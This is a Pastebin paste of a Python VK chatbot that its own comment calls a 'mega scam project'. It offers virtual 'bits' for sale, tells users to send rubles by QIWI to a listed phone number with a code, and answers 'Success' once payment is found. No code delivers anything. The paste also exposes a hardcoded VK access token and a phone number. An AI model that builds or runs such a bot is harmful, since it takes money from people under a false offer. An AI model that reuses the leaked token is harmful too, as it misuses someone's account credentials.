Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- # mega scam project try №2
- import time
- import random
- import re
- import threading
- from enum import Enum
- from SimpleQIWI import *
- from threading import Thread
- import requests
- import json
- from vk_api.bot_longpoll import VkBotLongPoll, VkBotEventType
- import vk_api
- from vk_api.keyboard import VkKeyboard, VkKeyboardColor
- import random, string
- from time import sleep
- vk = vk_api.VkApi(token="d44fe1237d38e0e49437a0c6925b304c8aca3542a9a2da0641626283a74eb60564276f5934a9a5e67a610")
- api = QApi(token='ur token', phone='ur phone')
- class State(Enum):
- FIRST = 1
- SECOND = 2
- THIRD = 3
- CHET = 4
- def randomword(length):
- letters = string.ascii_lowercase
- return ''.join(random.choice(letters) for i in range(length))
- def main():
- vk._auth_token()
- vk.get_api()
- state = State.CHET
- keyboard = VkKeyboard(one_time=False)
- keyboard.add_button('Купить', color=VkKeyboardColor.DEFAULT)
- keyboard.add_button('Помощь', color=VkKeyboardColor.NEGATIVE)
- keyboard.add_button('Продать', color=VkKeyboardColor.POSITIVE)
- longpoll = VkBotLongPoll(vk, "184979874")
- for event in longpoll.listen():
- if event.type == VkBotEventType.MESSAGE_NEW:
- if(event.object.text.lower() == 'начать' or event.object.text.lower() == 'помощь'):
- helpmsg = 'Привет, я бот который продает битсы.\n\n\nЯ продаю 1.000 битсов за 150 рублей\n\nМои команды:\nкупить - для покупки битсов.\nпродать - для продажи битсов\nвы можете купить битсы в ручную: https://vk.com/yummy_deleted'
- vk.method("messages.send", {"peer_id": event.object.peer_id, "keyboard": keyboard.get_keyboard(), "message": helpmsg, "random_id": 0})
- if(event.object.text.lower() == 'купить'):
- vk.method("messages.send", {"peer_id": event.object.peer_id, "message": 'Введите кол-во битсов для покупки', "random_id": 0})
- state = State.FIRST
- elif(event.object.text.isdigit() and state == State.FIRST):
- if(int(event.object.text) >= 1000):
- mycomment = randomword(8)
- price = int(event.object.text) * 0.15
- vk.method("messages.send", {"peer_id": event.object.peer_id, "message": 'Переведите '+ str(price) +'р на киви +375256639432 с комментарием ' + mycomment + '\nПосле того как перевели, напишите "проверка"', "random_id": 0})
- state = State.SECOND
- else:
- vk.method("messages.send", {"peer_id": event.object.peer_id, "message": 'Кол-во битсов должно быть больше 1000', 'random_id': 0})
- elif(event.object.text.lower() == 'проверка' and state == State.SECOND):
- payments = api.payments
- for payment in payments['data']:
- if payment['comment'] == mycomment:
- vk.method("messages.send", {"peer_id": event.object.peer_id, "message": 'Успех.', "random_id": 0})
- break
- else:
- vk.method("messages.send", {"peer_id": event.object.peer_id, "message": 'Платеж не найден.', "random_id": 0})
- break
- if(event.object.text.lower() == 'продать'):
- vk.method("messages.send", {"peer_id": event.object.peer_id, "message": 'В разработке.', "random_id": 0})
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement